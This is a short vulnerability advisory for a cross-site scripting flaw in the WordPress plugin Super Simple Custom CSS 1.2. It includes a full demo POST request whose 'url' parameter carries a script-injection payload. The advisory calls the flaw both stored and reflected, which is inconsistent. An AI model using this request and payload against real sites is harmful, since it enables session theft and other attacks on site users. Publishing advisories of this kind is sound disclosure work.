WordPress Super Simple Custom CSS 1.2 Cross Site Scripting
Posted on 06 December 2017
Class Input Validation Error Remote Yes Credit Ricardo Sanchez Vulnerable Super Simple Custom CSS 1.2 Super Simple Custom CSS is prone to a stored cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. To exploit this issue following steps: The XSS reflected because the value url is not filter correctly: Demo Request POST: POST /wordpress/wp-content/plugins/super-simple-custom-css/css_optimiser.php HTTP/1.1 Host: localhost Content-Length: 167 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://localhost//wordpress/wp-content/plugins/super-simple-custom-css/css_optimiser.php?template=asdsad Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9 Cookie: Connection: close css_text=&url= </script>"><script>alert("XSS")</script>&template=2&custom=&preserve_css=on&compress_c=on&compress_fw=on&case_properties=1&rbs=on&css_level=CSS2.1&post=
